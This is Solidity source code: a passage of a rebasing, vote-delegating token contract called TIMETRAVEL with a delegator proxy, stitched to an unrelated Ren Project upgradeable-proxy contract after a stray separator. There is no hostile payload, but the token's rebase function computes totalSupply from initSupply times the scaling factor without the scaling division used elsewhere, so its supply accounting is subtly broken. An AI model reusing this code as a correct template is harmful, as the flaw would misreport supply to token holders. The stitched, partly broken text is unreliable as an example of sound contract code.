/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Governor for this contract
*/
address public gov;
/**
* @notice Pending governance for this contract
*/
address public pendingGov;
/**
* @notice Approved rebaser for this contract
*/
address public rebaser;
/**
* @notice Reserve address of TIMETRAVEL protocol
*/
address public incentivizer;
/**
* @notice Total supply of TIMETRAVELs
*/
uint256 public totalSupply;
/**
* @notice Internal decimals used to handle scaling factor
*/
uint256 public constant internalDecimals = 10**24;
/**
* @notice Used for percentage maths
*/
uint256 public constant BASE = 10**18;
/**
* @notice Scaling factor that adjusts everyone's balances
*/
uint256 public timetravelsScalingFactor;
mapping (address => uint256) internal _timetravelBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract TIMETRAVELGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract TIMETRAVELTokenInterface is TIMETRAVELTokenStorage, TIMETRAVELGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Event emitted when tokens are rebased
*/
event Rebase(uint256 epoch, uint256 prevTimetravelsScalingFactor, uint256 newTimetravelsScalingFactor);
/*** Gov Events ***/
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
/**
* @notice Sets the rebaser contract
*/
event NewRebaser(address oldRebaser, address newRebaser);
/**
* @notice Sets the incentivizer contract
*/
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
/* - ERC20 Events - */
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/* - Extra Events - */
/**
* @notice Tokens minted event
*/
event Mint(address to, uint256 amount);
// Public functions
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
/* - Governance Functions - */
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
/* - Permissioned/Governance functions - */
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract TIMETRAVELGovernanceToken is TIMETRAVELTokenInterface {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TIMETRAVEL::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TIMETRAVEL::delegateBySig: invalid nonce");
require(now <= expiry, "TIMETRAVEL::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TIMETRAVEL::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _timetravelBalances[delegator]; // balance of underlying TIMETRAVELs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "TIMETRAVEL::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract TIMETRAVELToken is TIMETRAVELGovernanceToken {
// Modifiers
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_
)
public
{
require(timetravelsScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @notice Computes the current max scaling factor
*/
function maxScalingFactor()
external
view
returns (uint256)
{
return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
// scaling factor can only go up to 2**256-1 = initSupply * timetravelsScalingFactor
// this is used to check if timetravelsScalingFactor will be too high to compute balances when rebasing.
return uint256(-1) / initSupply;
}
/**
* @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance.
* @dev Limited to onlyMinter modifier
*/
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
// increase totalSupply
totalSupply = totalSupply.add(amount);
// get underlying value
uint256 timetravelValue = amount.mul(internalDecimals).div(timetravelsScalingFactor);
// increase initSupply
initSupply = initSupply.add(timetravelValue);
// make sure the mint didnt push maxScalingFactor too low
require(timetravelsScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
// add balance
_timetravelBalances[to] = _timetravelBalances[to].add(timetravelValue);
// add delegates to the minter
_moveDelegates(address(0), _delegates[to], timetravelValue);
emit Mint(to, amount);
}
/* - ERC20 functionality - */
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// underlying balance is stored in timetravels, so divide by current scaling factor
// note, this means as scaling factor grows, dust will be untransferrable.
// minimum transfer value == timetravelsScalingFactor / 1e24;
// get amount in underlying
uint256 timetravelValue = value.mul(internalDecimals).div(timetravelsScalingFactor);
// sub from balance of sender
_timetravelBalances[msg.sender] = _timetravelBalances[msg.sender].sub(timetravelValue);
// add to balance of receiver
_timetravelBalances[to] = _timetravelBalances[to].add(timetravelValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], timetravelValue);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// decrease allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
// get value in timetravels
uint256 timetravelValue = value.mul(internalDecimals).div(timetravelsScalingFactor);
// sub from from
_timetravelBalances[from] = _timetravelBalances[from].sub(timetravelValue);
_timetravelBalances[to] = _timetravelBalances[to].add(timetravelValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], timetravelValue);
return true;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
external
view
returns (uint256)
{
return _timetravelBalances[who].mul(timetravelsScalingFactor).div(internalDecimals);
}
/** @notice Currently returns the internal storage amount
* @param who The address to query.
* @return The underlying balance of the specified address.
*/
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _timetravelBalances[who];
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/* - Governance Functions - */
/** @notice sets the rebaser
* @param rebaser_ The address of the rebaser contract to use for authentication.
*/
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
/** @notice sets the incentivizer
* @param incentivizer_ The address of the rebaser contract to use for authentication.
*/
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/* - Extras - */
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, timetravelsScalingFactor, timetravelsScalingFactor);
return totalSupply;
}
uint256 prevTimetravelsScalingFactor = timetravelsScalingFactor;
if (!positive) {
timetravelsScalingFactor = timetravelsScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = timetravelsScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
timetravelsScalingFactor = newScalingFactor;
} else {
timetravelsScalingFactor = _maxScalingFactor();
}
}
totalSupply = initSupply.mul(timetravelsScalingFactor);
emit Rebase(epoch, prevTimetravelsScalingFactor, timetravelsScalingFactor);
return totalSupply;
}
}
contract TIMETRAVEL is TIMETRAVELToken {
/**
* @notice Initialize the new money market
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_
)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
totalSupply = initSupply_;
timetravelsScalingFactor = BASE;
_timetravelBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
// owner renounces ownership after deployment as they need to set
// rebaser and incentivizer
// gov = gov_;
}
}
contract TIMETRAVELDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract TIMETRAVELDelegatorInterface is TIMETRAVELDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract TIMETRAVELDelegateInterface is TIMETRAVELDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
contract TIMETRAVELDelegate is TIMETRAVEL, TIMETRAVELDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
contract TIMETRAVELDelegator is TIMETRAVELTokenInterface, TIMETRAVELDelegatorInterface {
/**
* @notice Construct a new TIMETRAVEL
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
* @param initSupply_ Initial token amount
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initSupply_,
address implementation_,
bytes memory becomeImplementationData
)
public
{
// Creator of the contract is gov during initialization
gov = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(string,string,uint8,address,uint256)",
name_,
symbol_,
decimals_,
msg.sender,
initSupply_
)
);
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
}
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == gov, "TIMETRAVELDelegator::_setImplementation: Caller must be gov");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(address to, uint256 mintAmount)
external
returns (bool)
{
to; mintAmount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount)
external
returns (bool)
{
dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
)
external
returns (bool)
{
src; dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(
address spender,
uint256 amount
)
external
returns (bool)
{
spender; amount; // Shh
delegateAndReturn();
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
external
returns (bool)
{
spender; addedValue; // Shh
delegateAndReturn();
}
function maxScalingFactor()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
returns (uint256)
{
epoch; indexDelta; positive;
delegateAndReturn();
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
spender; subtractedValue; // Shh
delegateAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(
address owner,
address spender
)
external
view
returns (uint256)
{
owner; spender; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param delegator The address of the account which has designated a delegate
* @return Address of delegatee
*/
function delegates(
address delegator
)
external
view
returns (address)
{
delegator; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/**
* @notice Currently unused. For future compatability
* @param owner The address of the account to query
* @return The number of underlying tokens owned by `owner`
*/
function balanceOfUnderlying(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/*** Gov Functions ***/
/**
* @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @param newPendingGov New pending gov.
*/
function _setPendingGov(address newPendingGov)
external
{
newPendingGov; // Shh
delegateAndReturn();
}
function _setRebaser(address rebaser_)
external
{
rebaser_; // Shh
delegateAndReturn();
}
function _setIncentivizer(address incentivizer_)
external
{
incentivizer_; // Shh
delegateAndReturn();
}
/**
* @notice Accepts transfer of gov rights. msg.sender must be pendingGov
* @dev Gov function for pending gov to accept role and update gov
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptGov()
external
{
delegateAndReturn();
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
account; blockNumber;
delegateToViewAndReturn();
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
delegatee; nonce; expiry; v; r; s;
delegateAndReturn();
}
function delegate(address delegatee)
external
{
delegatee;
delegateAndReturn();
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"TIMETRAVELDelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-01-15
*/
/**
Deployed by Ren Project, https://renproject.io
Commit hash: c357ff1
Repository: https://github.com/renproject/darknode-sol
Issues: https://github.com/renproject/darknode-sol/issues
Licenses
openzeppelin-solidity: (MIT) https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
darknode-sol: (GNU GPL V3) https://github.com/renproject/darknode-sol/blob/master/LICENSE
*/
pragma solidity 0.5.12;
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library OpenZeppelinUpgradesAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
